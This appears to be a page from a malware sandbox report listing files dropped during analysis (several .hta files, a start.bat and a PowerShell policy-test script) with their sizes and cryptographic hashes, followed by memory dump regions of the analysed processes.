ac6d957d2b6218d9c19dea60b263d6148f730a7a4599e03023afc0881b9f4051d20e5f1d94fc3e416c5e12bcc9846a43af90f55767271ef0cc4b84f31f432ae7

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\ba.hta

Filesize
17KB

MD5
b762ca68ba25be53780beb13939870b2

SHA1
1780ee68efd4e26ce1639c6839c7d969f0137bfd

SHA256
c15f61a3c6397babdf83b99b45345fec9851c4d3669c95b717f756b7c48050d1

SHA512
f99570d2dae550cb1474e2d1cabf8296a685e0e7254d92eb21d856acb8dece635a0842a00d63da2a4faa18c52c57244c565d6a752c857d5c15e8c23b3d4a9e1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\ba1.hta

Filesize
17KB

MD5
a2ea849e5e5048a5eacd872a5d17aba5

SHA1
65acf25bb62840fd126bf8adca3bb8814226e30f

SHA256
0c4ffba2e00da7c021d0dcab292d53290a4dc4d067c029e5db30ba2ac094344c

SHA512
d4e53c150e88f31c9896decfaa9f0a8dfab5d6d9691af162a6c0577786620fb1f3617398fc257789a52e0988bf1bfc94255db6d003397863b0b9e82afabdb89f

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\m.hta

Filesize
17KB

MD5
9383fc3f57fa2cea100b103c7fd9ea7c

SHA1
84ea6c1913752cb744e061ff2a682d9fe4039a37

SHA256
831e8ee7bc3eeeaaa796a34cbb080658dec1be7eb26eb2671353f650041b220d

SHA512
16eda09f6948742933b6504bc96eb4110952e95c4be752e12732cb3b92db64daa7a7a0312ca78ff1ceb7cffd7bd8a7d46514226fc3cea375b4edb02a98422600

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\m1.hta

Filesize
17KB

MD5
5eb75e90380d454828522ed546ea3cb7

SHA1
45c89f292d035367aeb2ddeb3110387a772c8a49

SHA256
dd43305abbbe5b6cc4ab375b6b0c9f8667967c35bb1f6fefb0f1a59c7c73bd5e

SHA512
0670ef4f687c4814125826b996d10f6dd8a1dd328e04b9c436ee657486b27b1eefad5b82dcc25bd239d36b7ac488f98e5adcff56c5e82f7d0ed41f03301947c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\start.bat

Filesize
176B

MD5
68d86e419dd970356532f1fbcb15cb11

SHA1
e9ef9a9d047f1076ba2afbe4eabec2ea2338fb0a

SHA256
d150a28b978b2d92caac25ee0a805dec96381471702a97f1099707b8538c6cbe

SHA512
3078c8c33b18ca1aa3bb2f812e5f587f5b081a4bd857f942ab382383faf09dbe8af38054546bf49037b79081c9406dc25647ae5bd843abc8fcca25c7b3afae14

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r4amje1d.myk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4816-24-0x0000000002220000-0x0000000002221000-memory.dmp

Filesize
4KB

Download
memory/4816-112-0x0000000002220000-0x0000000002221000-memory.dmp

Filesize
4KB

Download
memory/4816-108-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/4816-111-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/4816-22-0x00000000006D0000-0x00000000006D3000-memory.dmp

Filesize
12KB

Download
memory/4816-21-0x0000000000400000-0x00000000005BC000-memory.dmp

Filesize
1.7MB

Download
memory/5052-42-0x0000000005FF0000-0x0000000006344000-memory.dmp

Filesize
3.3MB

Download
memory/5356-56-0x0000000005FA0000-0x0000000005FBE000-memory.dmp

Filesize
120KB

Download
memory/5356-102-0x0000000008320000-0x00000000088C4000-memory.dmp

Filesize
5.6MB

Download
memory/5356-101-0x0000000007430000-0x0000000007452000-memory.dmp

Filesize
136KB

Download
memory/5356-100-0x00000000074A0000-0x0000000007536000-memory.dmp

Filesize
600KB

Download
memory/5356-77-0x0000000006490000-0x00000000064AA000-memory.dmp

Filesize
104KB

Download
memory/5356-76-0x00000000076F0000-0x0000000007D6A000-memory.dmp

Filesize
6.5MB

Download
memory/5356-57-0x00000000064C0000-0x000000000650C000-memory.dmp

Filesize
304KB

Download
memory/5356-34-0x0000000005190000-0x00000000051F6000-memory.dmp

Filesize
408KB

Download
memory/5356-36-0x0000000005930000-0x0000000005996000-memory.dmp

Filesize
408KB

Download
memory/5356-32-0x0000000004EF0000-0x0000000004F12000-memory.dmp

Filesize
136KB

Download
memory/5356-29-0x0000000005200000-0x0000000005828000-memory.dmp

Filesize
6.2MB

Download
memory/5356-28-0x0000000002680000-0x00000000026B6000-memory.dmp

Filesize
216KB

Download